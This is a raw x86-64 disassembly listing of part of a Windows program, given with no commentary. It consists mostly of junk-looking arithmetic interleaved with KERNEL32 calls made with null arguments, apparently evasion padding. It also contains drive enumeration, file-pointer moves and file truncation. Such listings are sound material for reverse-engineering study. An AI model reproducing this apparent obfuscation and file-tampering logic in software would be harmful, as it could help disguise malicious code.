mov rax, qword [rsp + 0x19938]
mov rcx, qword [0x1402bf718]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x97d4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xcebc], eax
mov rax, qword [rsp + 0x199c8]
mov ecx, dword [rsp + 0xcf28]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xceb0], eax
mov eax, dword [rsp + 0xcefc]
mov dword [rsp + 0xd110], eax
mov rax, qword [0x1402bf718]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xb6a0]
sar eax, cl
mov dword [0x1402ad6cc], eax
mov eax, dword [rsp + 0xcfa0]
mov ecx, dword [rsp + 0xa970]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xd0fc], eax
movzx eax, byte [rsp + 0x7b0]
mov byte [rsp + 0x7b9], al
movsx eax, word [rsp + 0x3304]
movsx ecx, word [0x1402ad63c]
shl eax, cl
mov rcx, qword [rsp + 0x19960]
mov word [rcx], ax
movzx eax, byte [rsp + 0x590]
movzx ecx, byte [rsp + 0x792]
and eax, ecx
mov byte [rsp + 0x7a1], al
lea rax, [rsp + 0x3674]
mov qword [rsp + 0x19c40], rax
mov rax, qword [rsp + 0x19910]
mov ecx, dword [rsp + 0x8544]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcff4], eax
mov eax, dword [rsp + 0xaf94]
mov dword [rsp + 0xd114], eax
mov rax, qword [rsp + 0x19a50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19948]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7b7], al
lea rax, [0x1402ad6a8]
mov qword [0x1402bf688], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xcdb8], eax
mov rax, qword [rsp + 0x19728]
mov ecx, dword [rsp + 0xaba8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd0d0], eax
mov rax, qword [rsp + 0x19850]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd0ec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb250], eax
mov rax, qword [rsp + 0x19a68]
mov ecx, dword [rsp + 0xcfc8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd09c], eax
mov eax, dword [rsp + 0xcf4c]
mov dword [rsp + 0xd118], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xd07c], eax
mov rax, qword [rsp + 0x19be8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19a88]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x3664], ax
movzx eax, byte [0x1402bf6b8]
movzx ecx, byte [rsp + 0x7b3]
sub eax, ecx
mov byte [rsp + 0x4c2], al
mov eax, dword [rsp + 0xcf38]
mov dword [rsp + 0xd11c], eax
mov rax, qword [rsp + 0x19988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xced0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcde0], eax
mov rax, qword [rsp + 0x19960]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19768]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402bf784], ax
movsx eax, byte [rsp + 0x79e]
movsx ecx, byte [rsp + 0x7ac]
sub eax, ecx
mov byte [rsp + 0xb4], al
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x7a1], al
movzx eax, word [rsp + 0x36f0]
movzx ecx, word [rsp + 0x36a0]
shl eax, cl
mov word [rsp + 0x2644], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0x19a80]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x19bf8]
mov eax, dword [rax]
mov dword [rsp + 0xd120], eax
mov eax, dword [rsp + 0xcf54]
mov ecx, dword [rsp + 0xcf70]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19b28]
mov dword [rcx], eax
mov eax, dword [rsp + 0xaa24]
mov dword [rsp + 0xd124], eax
mov eax, dword [rsp + 0xaa24]
mov ecx, dword [rsp + 0x909c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd94], eax
mov rax, qword [0x1402bf718]
mov ecx, dword [rsp + 0xd0a8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9088], eax
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35c0]
add eax, ecx
mov word [rsp + 0x3184], ax
movzx eax, byte [rsp + 0x3a2]
mov byte [0x1402bf680], al
mov rax, qword [0x1402bf760]
mov ecx, dword [rsp + 0x7fa4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xc7e0], eax
lea rax, [rsp + 0xc658]
mov qword [rsp + 0x19c48], rax
mov eax, dword [rsp + 0xd0c4]
mov ecx, dword [rsp + 0xd094]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcd3c], eax
mov eax, dword [0x1402ad644]
mov dword [rsp + 0xd128], eax
mov rax, qword [rsp + 0x19948]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x19828]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7a1], al
mov rax, qword [rsp + 0x19bc0]
movzx eax, word [rax]
movzx ecx, word [0x1402ad650]
sub eax, ecx
mov word [rsp + 0x3680], ax
movzx eax, byte [rsp + 0x78b]
mov byte [rsp + 0x7ba], al
xor r9d, r9d
lea r8, [rsp + 0x19778]
mov rdx, qword [rsp + 0x19c50]
mov rcx, qword [rsp + 0x19c18]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xcddc], eax
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19940]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x36f4], ax
mov rax, qword [rsp + 0x19bf8]
mov rcx, qword [0x1402bf6c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad664], eax
mov rcx, qword [rsp + 0x19748]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xcfb4], eax
lea rax, [rsp + 0xd080]
mov qword [rsp + 0x19c58], rax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x43a]
add eax, ecx
mov byte [rsp + 0x3a1], al
movzx eax, word [rsp + 0x36e8]
mov rcx, qword [0x1402bf688]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x36b0], ax
mov rax, qword [rsp + 0x19a30]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x91e8]
sar eax, cl
mov dword [rsp + 0x8fb0], eax
mov eax, dword [rsp + 0xceb8]
mov ecx, dword [rsp + 0xcfdc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19af0]
mov dword [rcx], eax
lea rax, [0x1402bf6f8]
mov qword [rsp + 0x19c60], rax
mov eax, dword [rsp + 0xd048]
mov rcx, qword [rsp + 0x19a60]
mov qword [rsp + 0x19c68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19c68]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xcdf8], eax
mov rax, qword [rsp + 0x199e8]
movzx eax, byte [rax]
mov rcx, qword [0x1402bf698]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x7aa], al
lea rdx, [rsp + 0x2c040]
mov rcx, qword [rsp + 0x19688]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xcf84], eax
movzx eax, word [rsp + 0x36b0]
movzx ecx, word [rsp + 0x3658]
cdq
idiv ecx
mov word [0x1402ad6d0], ax
mov rax, qword [rsp + 0x19b08]
mov eax, dword [rax]
mov dword [rsp + 0xd12c], eax
mov rax, qword [rsp + 0x198f0]
mov ecx, dword [0x1402ad6a4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xced0], eax
mov rax, qword [rsp + 0x19b40]
mov eax, dword [rax]
mov dword [rsp + 0xd130], eax
mov rax, qword [rsp + 0x198c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd130]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf3c], eax
mov rax, qword [rsp + 0x199c8]
mov eax, dword [rax]
mov dword [rsp + 0xd134], eax
movsx eax, word [0x1402ad678]
movsx ecx, word [rsp + 0x3150]
add eax, ecx
mov word [rsp + 0x35ac], ax
movsx eax, byte [rsp + 0x791]
movsx ecx, byte [rsp + 0x7ba]
add eax, ecx
mov byte [rsp + 0x782], al
lea rax, [rsp + 0x78a]
mov qword [rsp + 0x19c70], rax
movzx eax, word [rsp + 0x3670]
mov rcx, qword [rsp + 0x197a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402ad6bc], ax
mov rax, qword [rsp + 0x19a20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd118]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb2e4], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xb550
mov rcx, qword [rsp + 0x19bb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xccdc], eax
mov rax, qword [0x1402bf760]
mov ecx, dword [rsp + 0xa554]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa7c4], eax
movzx eax, word [rsp + 0x3664]
movzx ecx, word [rsp + 0x364c]
and eax, ecx
mov word [rsp + 0x1de0], ax
movzx eax, byte [rsp + 0x799]
mov rcx, qword [0x1402bf778]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x19908]
mov byte [rcx], al
mov eax, dword [rsp + 0xcd94]
mov dword [rsp + 0xd138], eax
mov rax, qword [rsp + 0x19a20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd058], eax
lea rax, [rsp + 0xce9c]
mov qword [rsp + 0x19c78], rax
mov rax, qword [rsp + 0x19a70]
mov ecx, dword [rsp + 0xce48]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xcf58], eax
mov rax, qword [rsp + 0x19858]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2dd4]
shl eax, cl
mov word [0x1402ad640], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
movzx eax, byte [rsp + 0x7b5]
movzx ecx, byte [rsp + 0x78a]
xor eax, ecx
mov byte [rsp + 0x7b8], al
mov rcx, qword [rsp + 0x19990]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xd13c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rax, qword [rsp + 0x199f8]
mov eax, dword [rax]
mov dword [rsp + 0xd140], eax
mov rax, qword [rsp + 0x19a60]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19750]
mov qword [rsp + 0x19c80], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19c80]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa958], eax
mov rcx, qword [rsp + 0x19838]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xcd74], eax
lea rax, [rsp + 0x789]
mov qword [rsp + 0x19c88], rax
mov rax, qword [rsp + 0x19800]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19768]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3630], ax
movzx eax, byte [rsp + 0x79d]
movzx ecx, byte [rsp + 0x38b]
imul eax, ecx
mov byte [rsp + 0x2a1], al
mov rax, qword [0x1402bf700]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a18]
and eax, ecx
mov rcx, qword [rsp + 0x197a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x19b08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xce4c], eax
mov rax, qword [rsp + 0x19a30]
mov rcx, qword [rsp + 0x19c48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402ad6d4], eax
mov rax, qword [rsp + 0x19850]
mov eax, dword [rax]
mov dword [rsp + 0xd144], eax
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xca14]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xbac8], eax
mov rax, qword [rsp + 0x19b40]
mov eax, dword [rax]
mov dword [rsp + 0xd148], eax
mov rax, qword [0x1402bf688]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3688]
sub eax, ecx
mov word [rsp + 0x3680], ax
mov rax, qword [rsp + 0x199e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x78a]
add eax, ecx
mov byte [rsp + 0x785], al
mov rax, qword [rsp + 0x19c30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8cc0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8194], eax
mov eax, dword [rsp + 0xd100]
mov ecx, dword [rsp + 0xcea0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf14], eax
mov rax, qword [rsp + 0x19c58]
mov eax, dword [rax]
mov dword [rsp + 0xd14c], eax
mov rax, qword [rsp + 0x198c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb688]
and ecx, eax
mov eax, ecx
mov dword [0x1402ad6a4], eax
mov rax, qword [rsp + 0x19950]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3634]
shl eax, cl
mov word [rsp + 0x3644], ax
movzx eax, byte [rsp + 0x788]
mov rcx, qword [rsp + 0x19948]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x7b4], al
movzx eax, word [rsp + 0x324c]
mov word [rsp + 0x3708], ax
mov rax, qword [rsp + 0x19c88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19a98]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x19af8]
mov byte [rcx], al
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcea0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xc93c], eax
mov rax, qword [rsp + 0x198e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8fec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcfd8], eax
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x35e4]
sub eax, ecx
mov word [rsp + 0x25b8], ax
mov rax, qword [0x1402bf6e8]
movzx eax, byte [rax]
mov byte [rsp + 0x7bb], al
mov eax, dword [rsp + 0xce98]
mov dword [0x1402bf67c], eax
mov eax, dword [rsp + 0xd020]
mov ecx, dword [rsp + 0xcd94]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xcfd8], eax
mov eax, dword [rsp + 0xcfd4]
mov dword [rsp + 0xd150], eax
mov rax, qword [rsp + 0x19b08]
mov ecx, dword [rsp + 0xcf80]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xce04], eax
lea rcx, [rsp + 0x2d650]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xd154], eax
mov rax, qword [rsp + 0x19a08]
movzx eax, byte [rax]
mov byte [rsp + 0x7bc], al
lea rcx, [rsp + 0x197a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x198e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x360c]
add eax, ecx
mov word [rsp + 0x36b4], ax
mov eax, dword [rsp + 0xcef0]
mov ecx, dword [rsp + 0xcfd0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19a30]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19b18]
mov ecx, dword [rsp + 0xcde0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8de8], eax
mov rax, qword [rsp + 0x19af0]
mov ecx, dword [rsp + 0xcfac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcec8], eax
mov rax, qword [rsp + 0x196b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9c0c]
sub ecx, eax
mov eax, ecx
mov dword [0x1402bf788], eax
mov eax, dword [rsp + 0xcfc0]
mov dword [rsp + 0xd158], eax
mov rax, qword [rsp + 0x19768]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x324c]
sub eax, ecx
mov word [rsp + 0x3614], ax
movsx eax, byte [rsp + 0x79e]
mov rcx, qword [rsp + 0x19880]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x789], al
movzx eax, byte [rsp + 0x7b5]
mov byte [rsp + 0x7bd], al
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xccdc], eax
mov rax, qword [rsp + 0x19be8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3654]
or eax, ecx
mov rcx, qword [rsp + 0x199a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x199f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd110]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa990], eax
mov rax, qword [rsp + 0x199c8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1402ad694]
shl eax, cl
mov dword [rsp + 0x91e8], eax
mov rax, qword [rsp + 0x19870]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x36ac]
sar eax, cl
mov word [rsp + 0x35e4], ax
movzx eax, byte [rsp + 0x78a]
movzx ecx, byte [rsp + 0x799]
and eax, ecx
mov byte [0x1402acb87], al
mov rax, qword [rsp + 0x19ac0]
mov eax, dword [rax]
mov dword [rsp + 0xd15c], eax
mov eax, dword [rsp + 0xc538]
mov ecx, dword [rsp + 0xc658]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcee4], eax
mov rax, qword [rsp + 0x19c78]
mov eax, dword [rax]
mov dword [rsp + 0xd160], eax
mov rax, qword [0x1402bf760]
mov ecx, dword [rsp + 0xce98]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd0a4], eax
movzx eax, word [rsp + 0x3610]
movzx ecx, word [rsp + 0x36bc]
imul eax, ecx
mov word [rsp + 0x1d1c], ax
mov rax, qword [rsp + 0x19b78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x78a]
and eax, ecx
mov rcx, qword [rsp + 0x19908]
mov byte [rcx], al
mov rax, qword [rsp + 0x19b18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8fb0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa934], eax
mov rax, qword [rsp + 0x19888]
mov eax, dword [rax]
mov dword [rsp + 0xd164], eax
movsx eax, byte [rsp + 0x791]
movsx ecx, byte [rsp + 0x7af]
add eax, ecx
mov byte [0x1402bf78c], al
xor r9d, r9d
lea r8, [rsp + 0x19ae8]
mov rdx, qword [rsp + 0x19718]
mov rcx, qword [rsp + 0x19bb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xd168], eax
movsx eax, word [rsp + 0x3630]
movsx ecx, word [rsp + 0x365c]
add eax, ecx
mov word [rsp + 0x362c], ax
mov rax, qword [rsp + 0x19a28]
movzx eax, word [rax]
mov word [rsp + 0x370c], ax
movzx eax, byte [rsp + 0x788]
mov rcx, qword [rsp + 0x19948]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7a8], al
mov rax, qword [rsp + 0x19b28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd098]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8100], eax
mov eax, dword [0x1402ad644]
mov ecx, dword [rsp + 0xcd4c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x892c], eax
mov eax, dword [rsp + 0xcfe4]
mov rcx, qword [rsp + 0x19888]
mov qword [rsp + 0x19c90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x19c90]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9c0c], eax
lea rax, [rsp + 0xce60]
mov qword [rsp + 0x19c98], rax
mov rax, qword [0x1402bf718]
mov ecx, dword [rsp + 0xa368]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xac04], eax
movzx eax, word [rsp + 0x36c8]
movzx ecx, word [rsp + 0x360c]
sar eax, cl
mov word [rsp + 0x36ac], ax
mov rax, qword [rsp + 0x19a50]
movzx eax, byte [rax]
movzx ecx, byte [0x1402bf710]
and eax, ecx
mov byte [0x1402acb8a], al
mov eax, dword [rsp + 0xced8]
mov dword [rsp + 0xd16c], eax
mov eax, dword [rsp + 0xcf38]
mov ecx, dword [rsp + 0xcdf0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf1c], eax
mov rax, qword [rsp + 0x19b90]
mov eax, dword [rax]
mov dword [rsp + 0xd170], eax
mov eax, dword [rsp + 0xcf14]
mov ecx, dword [rsp + 0xcf4c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19ac0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x3674]
movzx ecx, word [rsp + 0x36d4]
add eax, ecx
mov word [rsp + 0x366c], ax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
movzx ecx, byte [0x1402acb7a]
sub eax, ecx
mov byte [rsp + 0xe4], al
movsx eax, byte [rsp + 0x786]
movsx ecx, byte [rsp + 0x4ab]
and eax, ecx
mov byte [rsp + 0x782], al
mov rax, qword [rsp + 0x19768]
movzx eax, word [rax]
mov word [rsp + 0x3710], ax
mov eax, dword [rsp + 0xcfdc]
mov ecx, dword [0x1402bf6a0]
add ecx, eax
mov eax, ecx
mov dword [0x1402bf6dc], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0xcd2c], eax
mov rax, qword [rsp + 0x19980]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8de8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcfb8], eax
movzx eax, word [rsp + 0x3600]
mov word [rsp + 0x3714], ax
movzx eax, byte [rsp + 0x7bd]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x78f], al
mov rax, qword [rsp + 0x19c10]
mov ecx, dword [rsp + 0xced0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9f50], eax
mov eax, dword [rsp + 0xcd4c]
mov dword [rsp + 0xd174], eax
mov rax, qword [rsp + 0x19888]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xb418]
shl eax, cl
mov dword [rsp + 0xce74], eax
mov rax, qword [rsp + 0x19c10]
mov ecx, dword [rsp + 0xcf1c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x87e8], eax
mov rax, qword [rsp + 0x19c28]
movzx eax, byte [rax]
movzx ecx, byte [0x1402acb4e]
or eax, ecx
mov rcx, qword [rsp + 0x19830]
mov byte [rcx], al
mov rax, qword [rsp + 0x198e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19bc0]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1402ad6d8], ax
mov eax, dword [rsp + 0xa224]
mov ecx, dword [rsp + 0xd0e4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x19b08]
mov dword [rcx], eax
movzx ecx, word [rsp + 0x3700]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3718], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
lea rax, [0x1402ad634]
mov qword [rsp + 0x19ca0], rax
mov rax, qword [rsp + 0x19c10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd11c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf28], eax
mov eax, dword [rsp + 0x91fc]
mov dword [rsp + 0xd178], eax
mov rax, qword [rsp + 0x198e0]
mov rcx, qword [rsp + 0x196b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcd3c], eax
mov rax, qword [rsp + 0x19af8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1c1]
add eax, ecx
mov byte [rsp + 0x55e], al
movzx eax, word [rsp + 0x36e4]
mov word [rsp + 0x371c], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xd104], eax
mov rcx, qword [rsp + 0x196c8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xcf18], eax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x79a]
sub eax, ecx
mov byte [rsp + 0x3a2], al
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
mov word [0x1402bf678], ax
mov eax, dword [rsp + 0xd128]
mov ecx, dword [rsp + 0xcf9c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2a0], eax
mov rax, qword [rsp + 0x19b28]
mov rcx, qword [rsp + 0x19a20]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcf4c], eax
movzx eax, word [rsp + 0x360c]
mov rcx, qword [rsp + 0x19b50]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x367c], ax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
mov byte [rsp + 0x7be], al
mov rax, qword [rsp + 0x19c48]
mov eax, dword [rax]
mov ecx, dword [0x1402ad6a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcb44], eax
mov eax, dword [rsp + 0x8100]
mov dword [rsp + 0xd17c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x198f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcedc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd0cc], eax
lea rdx, [rsp + 0x19918]
mov rcx, qword [rsp + 0x19c18]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xd13c], eax
mov rax, qword [rsp + 0x19a70]
mov ecx, dword [rsp + 0x9664]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb90c], eax
movzx eax, word [rsp + 0x35fc]
movzx ecx, word [rsp + 0x367c]
xor eax, ecx
mov word [0x1402ad674], ax
mov rax, qword [rsp + 0x19828]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7bc]
shl eax, cl
mov rcx, qword [rsp + 0x19b78]
mov byte [rcx], al
mov rax, qword [rsp + 0x19728]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd110]
shr eax, cl
mov rcx, qword [rsp + 0x196e0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xcf5c]
mov dword [rsp + 0xd180], eax
movsx eax, byte [0x1402bf78c]
mov rcx, qword [rsp + 0x19a98]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x7a6], al
lea rax, [rsp + 0x3620]
mov qword [rsp + 0x19ca8], rax
movzx eax, byte [rsp + 0x797]
mov rcx, qword [rsp + 0x19860]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x7a4], al
mov rax, qword [rsp + 0x19aa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2104]
imul eax, ecx
mov word [rsp + 0x1874], ax
mov rax, qword [rsp + 0x19ac0]
mov eax, dword [rax]
mov dword [rsp + 0xd184], eax
mov eax, dword [0x1402ad6c8]
mov ecx, dword [rsp + 0xd09c]
sub ecx, eax
mov eax, ecx
mov dword [0x1402bf788], eax
mov eax, dword [rsp + 0xd090]
mov ecx, dword [rsp + 0xd014]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcb44], eax
mov rax, qword [rsp + 0x19a20]
mov rcx, qword [rsp + 0x19bf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb340], eax
mov rax, qword [rsp + 0x19ab0]
mov ecx, dword [rsp + 0xb35c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcf2c], eax
movzx eax, byte [rsp + 0x793]
movzx ecx, byte [rsp + 0xe4]
sub eax, ecx
mov byte [rsp + 0x7a9], al
mov rax, qword [rsp + 0x198e8]
movzx eax, word [rax]
mov word [rsp + 0x3720], ax
mov rax, qword [0x1402bf768]
mov ecx, dword [rsp + 0xcfb8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xcdf0], eax
mov eax, dword [rsp + 0xd074]
mov dword [rsp + 0xd188], eax
mov rax, qword [rsp + 0x19c30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce68]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7d8], eax
mov rax, qword [0x1402bf768]
mov rcx, qword [rsp + 0x19c00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad6dc], eax
movzx eax, byte [rsp + 0x2a1]
mov byte [rsp + 0x7bf], al
mov rax, qword [rsp + 0x19bc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x197a8]
movzx ecx, word [rcx]
cdq
idiv ecx
